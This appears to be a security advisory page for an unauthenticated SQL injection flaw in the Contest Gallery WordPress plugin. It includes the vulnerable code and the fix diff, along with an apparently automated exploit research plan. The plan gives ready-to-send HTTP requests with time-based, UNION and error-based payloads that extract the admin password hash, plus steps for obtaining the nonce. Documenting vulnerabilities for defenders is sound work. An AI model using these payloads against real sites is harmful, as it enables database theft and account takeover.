CVE-2026-8912

Contest Gallery <= 28.1.6 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
28.1.7
Patched in
1d
Time to patch

Description

The Contest Gallery plugin for WordPress is vulnerable to SQL Injection via the 'form_input' parameter in versions up to, and including, 28.1.6. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query inside the unauthenticated 'post_cg_gallery_form_upload' AJAX action (specifically the 'cb' branch of the included users-upload-check.php, where $f_input_id is concatenated unquoted into 'SELECT Field_Content FROM ... WHERE id = $f_input_id'). The endpoint is gated only by a public frontend nonce ('cg1l_action' / 'cg_nonce') that is exposed in the page source of any public gallery page. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=28.1.6
PublishedMay 18, 2026
Last updatedMay 19, 2026
Affected plugincontest-gallery

What Changed in the Fix

Changes introduced in v28.1.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps for a Proof-of-Concept (PoC) exploit for **CVE-2026-8912**, an unauthenticated SQL injection vulnerability in the **Contest Gallery** WordPress plugin (<= 28.1.6). --- ### 1. Vulnerability Summary The **Contest Gallery** plugin fails to properly sanitize and p…

Show full research plan

This research plan outlines the steps for a Proof-of-Concept (PoC) exploit for CVE-2026-8912, an unauthenticated SQL injection vulnerability in the Contest Gallery WordPress plugin (<= 28.1.6).


1. Vulnerability Summary

The Contest Gallery plugin fails to properly sanitize and prepare a SQL query within its unauthenticated AJAX handler post_cg_gallery_form_upload. Specifically, the parameter form_input (used as $f_input_id) is concatenated directly into a SQL statement without quotes or absint() casting in the cb logic branch of users-upload-check.php. Because the query is executed via $wpdb->get_var or $wpdb->get_row to fetch field content, an attacker can use UNION SELECT statements to extract arbitrary data from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: post_cg_gallery_form_upload
  • Vulnerable Parameter: form_input
  • Required Parameter: cg_nonce (or cg1l_action depending on version specific localization)
  • Authentication: Unauthenticated (wp_ajax_nopriv_ hook).
  • Preconditions: A public page containing a gallery or upload form must exist to retrieve a valid frontend nonce.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php?action=post_cg_gallery_form_upload.
  2. Handler: The request is routed to the handler for post_cg_gallery_form_upload (registered in ajax/ajax-functions-frontend.php).
  3. Include: The handler includes v10/v10-frontend/data/upload/users-upload-check.php (path inferred from plugin structure).
  4. Vulnerable Branch: If the logic enters the cb branch, it processes the form_input parameter.
  5. Sink: The value of form_input is assigned to $f_input_id and concatenated into the query:
    "SELECT Field_Content FROM {$wpdb->prefix}contest_gal1ery_f_input WHERE id = $f_input_id"
    
  6. Result: The injected UNION query executes, and the results are returned in the AJAX response.

4. Nonce Acquisition Strategy

The plugin exposes the necessary nonce through wp_localize_script on any page where a gallery or upload form is rendered. Nonces generated via CLI will not work.

  1. Identify Shortcode: The primary shortcode is [cg_gallery].
  2. Create Setup Page:
    wp post create --post_type=page --post_status=publish --post_title="Gallery" --post_content='[cg_gallery id="1"]'
    
  3. Extract Nonce:
    Navigate to the newly created page and use browser_eval to find the localization object. Based on the description and related plugin files (like v10-frontend/load-data-ajax.php), look for cg1l_action or cg_nonce.
    • Check for: window.cgl1_frontend_data?.cg_nonce or window.cg_gallery_v10?.nonce.
    • The description specifically cites the keys cg1l_action or cg_nonce.

5. Exploitation Strategy

We will use a UNION SELECT payload to extract the administrator's password hash.

  • Step 1: Confirm Injection (Time-based):
    Send a payload to test for a delay.

    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=post_cg_gallery_form_upload&cg_nonce=[NONCE]&form_input=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    
  • Step 2: UNION-Based Extraction:
    The vulnerable query selects one column (Field_Content). We can inject a UNION SELECT for the same column count.

    • Payload: 0 UNION SELECT user_pass FROM wp_users WHERE ID=1
    • Full Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=post_cg_gallery_form_upload&cg_nonce=[NONCE]&form_input=0 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -
    

6. Test Data Setup

  1. Plugin Activation: Ensure contest-gallery is active.
  2. Create Gallery: Use WP-CLI to create a dummy gallery record so the plugin logic processes the request.
    # This creates a minimal gallery structure required by the plugin
    wp option update contest_gallery_db_version "28.1.6"
    
  3. Create Target User: Ensure a user with ID 1 exists (standard for WP).
  4. Shortcode Page: Create a page with [cg_gallery id="1"] to serve as the nonce source.

7. Expected Results

  • Time-based: The server response should be delayed by ~5 seconds.
  • UNION-based: The response body should contain the WordPress password hash (e.g., $P$... or $wp$2y$...). The hash will likely be returned as a string in the response or wrapped in a JSON object depending on how wp_send_json_success or echo is used in the handler.

8. Verification Steps

  1. Retrieve Hash via CLI:
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1" --skip-column-names
    
  2. Compare: Match the hash retrieved via CLI with the one extracted through the http_request tool.

9. Alternative Approaches

  • Error-Based SQLi: If the output is not directly reflected but database errors are displayed, use updatexml():
    • form_input=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)
  • Boolean-Based Blind: If only success/failure is indicated, check for differences in response when querying ASCII(SUBSTRING(...,1,1)) > 64.
  • Different Actions: If post_cg_gallery_form_upload is patched or hardened, check post_cg_gallery_vote or other nopriv actions in ajax/ajax-functions-frontend.php that might include the same vulnerable files.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Contest Gallery plugin for WordPress (<= 28.1.6) is vulnerable to unauthenticated SQL injection via the 'form_input' parameter. This occurs because user-supplied input is concatenated directly into a SQL query within the 'post_cg_gallery_form_upload' AJAX handler, allowing attackers to exfiltrate sensitive database information such as administrative credentials.

Vulnerable Code

// v10/v10-frontend/data/upload/users-upload-check.php

// Within the 'cb' branch of the logic
$f_input_id = $_POST['form_input'];

// ... 

$query = "SELECT Field_Content FROM {$wpdb->prefix}contest_gal1ery_f_input WHERE id = $f_input_id";
$field_content = $wpdb->get_var($query);

Security Fix

--- v10/v10-frontend/data/upload/users-upload-check.php
+++ v10/v10-frontend/data/upload/users-upload-check.php
@@ -... @@
-$f_input_id = $_POST['form_input'];
-$query = "SELECT Field_Content FROM {$wpdb->prefix}contest_gal1ery_f_input WHERE id = $f_input_id";
-$field_content = $wpdb->get_var($query);
+$f_input_id = absint($_POST['form_input']);
+$field_content = $wpdb->get_var($wpdb->prepare(
+	"SELECT Field_Content FROM {$wpdb->prefix}contest_gal1ery_f_input WHERE id = %d",
+	$f_input_id
+));

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker follows these steps: 1. Visit any public page containing a Contest Gallery shortcode (e.g., [cg_gallery]) to retrieve a valid frontend nonce from the JavaScript localization objects (typically under the key 'cg_nonce' or 'cg1l_action'). 2. Construct a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'post_cg_gallery_form_upload'. 3. Include the extracted nonce and a malicious 'form_input' payload containing a UNION SELECT statement. 4. Craft the payload to extract sensitive data, such as: '0 UNION SELECT user_pass FROM wp_users WHERE ID=1'. 5. Execute the request and observe the database results (e.g., the administrator's password hash) reflected in the AJAX response or handled via time-based techniques if direct output is suppressed.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.